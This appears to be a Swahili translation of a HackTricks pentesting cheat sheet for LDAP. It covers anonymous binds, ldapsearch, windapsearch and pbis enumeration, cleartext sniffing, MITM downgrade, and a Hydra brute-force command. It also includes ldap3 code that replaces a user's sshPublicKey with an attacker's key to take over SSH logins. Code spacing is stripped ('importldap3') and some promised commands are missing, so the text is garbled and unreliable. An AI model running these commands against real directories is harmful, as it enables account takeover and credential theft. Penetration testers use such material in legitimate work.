Matumizi ya LDAP (Lightweight Directory Access Protocol) ni hasa kwa kutafuta vitu mbalimbali kama mashirika, watu, na rasilimali kama faili na vifaa ndani ya mitandao, ya umma na binafsi. Inatoa njia iliyo rahisi ikilinganishwa na mtangulizi wake, DAP, kwa kuwa na alama ndogo ya msimbo.
Maktaba za LDAP zimeundwa ili kuruhusu usambazaji wao kwenye seva kadhaa, ambapo kila seva ina toleo lililorekebishwa na lililosawazishwa la maktaba, linalojulikana kama Mwakilishi wa Mfumo wa Maktaba (DSA). Wajibu wa kushughulikia maombi uko kabisa na seva ya LDAP, ambayo inaweza kuwasiliana na DSAs wengine inapohitajika ili kutoa jibu lililounganishwa kwa mombaji.
Muundo wa maktaba ya LDAP unafanana na hiyerarhya ya mti, ikianza na maktaba ya mzizi juu. Hii inajitenga hadi nchi, ambazo zinagawanyika zaidi katika mashirika, na kisha katika vitengo vya shirika vinavyowakilisha sehemu mbalimbali au idara, hatimaye kufikia kiwango cha vitu binafsi, ikiwa ni pamoja na watu na rasilimali zinazoshirikiwa kama faili na printa.
Port ya kawaida: 389 na 636(ldaps). Katalogi ya Kimataifa (LDAP katika ActiveDirectory) inapatikana kwa kawaida kwenye port 3268, na 3269 kwa LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) inafafanua maudhui ya directory kama seti ya rekodi. Inaweza pia kuwakilisha maombi ya sasisho (Ongeza, Badilisha, Futa, Badilisha jina).
Mistari 1-3 huweka kiwango cha juu cha eneo la local
Mistari 5-8 huweka kiwango cha kwanza cha eneo la moneycorp (moneycorp.local)
Mistari 10-16 huweka vitengo viwili vya shirika: dev na sales
Mistari 18-26 huunda kitu cha eneo na kupeana sifa zenye thamani
Andika data
Kumbuka kwamba ikiwa unaweza kubadilisha thamani unaweza kuwa na uwezo wa kufanya vitendo vya kuvutia sana. Kwa mfano, fikiria kwamba unaweza kubadilisha taarifa za "sshPublicKey" za mtumiaji wako au mtumiaji yeyote. Inaweza kuwa na uwezekano mkubwa kwamba ikiwa sifa hii ipo, basi ssh inasoma funguo za umma kutoka LDAP. Ikiwa unaweza kubadilisha funguo za umma za mtumiaji, utaweza kuingia kama mtumiaji huyo hata kama uthibitishaji wa nenosiri haujawezeshwa katika ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
Ikiwa LDAP inatumika bila SSL unaweza sniff credentials in plain text katika mtandao.
Pia, unaweza kufanya MITM shambulio katika mtandao kati ya seva ya LDAP na mteja. Hapa unaweza kufanya Downgrade Attack ili mteja atumie credentials in clear text kuingia.
Ikiwa SSL inatumika unaweza kujaribu kufanya MITM kama ilivyoelezwa hapo juu lakini ukitoa cheti cha uwongo, ikiwa mtumiaji atakubali, unaweza kudharau njia ya uthibitishaji na kuona credentials tena.
Anonymous Access
Bypass TLS SNI check
Kulingana na hii writeup kwa kuingia tu kwenye seva ya LDAP kwa jina la kikoa chochote (kama company.com) aliweza kuwasiliana na huduma ya LDAP na kutoa taarifa kama mtumiaji asiyejulikana:
LDAP anonymous binds inaruhusu washambuliaji wasio na uthibitisho kupata taarifa kutoka kwenye eneo, kama orodha kamili ya watumiaji, vikundi, kompyuta, sifa za akaunti za mtumiaji, na sera ya nenosiri la eneo. Hii ni mipangilio ya urithi, na kuanzia Windows Server 2003, ni watumiaji walio na uthibitisho pekee ndio wanaruhusiwa kuanzisha maombi ya LDAP.
Hata hivyo, wasimamizi wanaweza kuwa walihitaji kuanzisha programu maalum ili kuruhusu anonymous binds na kutoa zaidi ya kiwango kilichokusudiwa cha ufikiaji, hivyo kuwapa watumiaji wasio na uthibitisho ufikiaji wa vitu vyote katika AD.
Valid Credentials
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
Mara tu unapo kuwa na muktadha wa majina unaweza kufanya maswali mengine ya kusisimua. Hili swali rahisi linapaswa kukuonyesha vitu vyote katika directory:
Windapsearch ni script ya Python inayofaa kuorodhesha watumiaji, vikundi, na kompyuta kutoka kwa eneo la Windows kwa kutumia maswali ya LDAP.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Angalia akreditif za null au ikiwa akreditif zako ni halali:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Ikiwa unapata kitu kinachosema kwamba "bind lazima ikamilishwe" inamaanisha kwamba taarifa za kuingia si sahihi.
Ili kuona kama una ufikiaji wa nenosiri lolote unaweza kutumia grep baada ya kutekeleza moja ya maswali:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
Tafadhali, fahamu kwamba nywila ambazo unaweza kupata hapa huenda zisikuwa za kweli...
pbis
Unaweza kupakua pbis kutoka hapa: https://github.com/BeyondTrust/pbis-open/ na kawaida huwekwa katika /opt/pbis.
Pbis inakuwezesha kupata taarifa za msingi kwa urahisi:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
Configuration Files
General
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks Automatic Commands
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
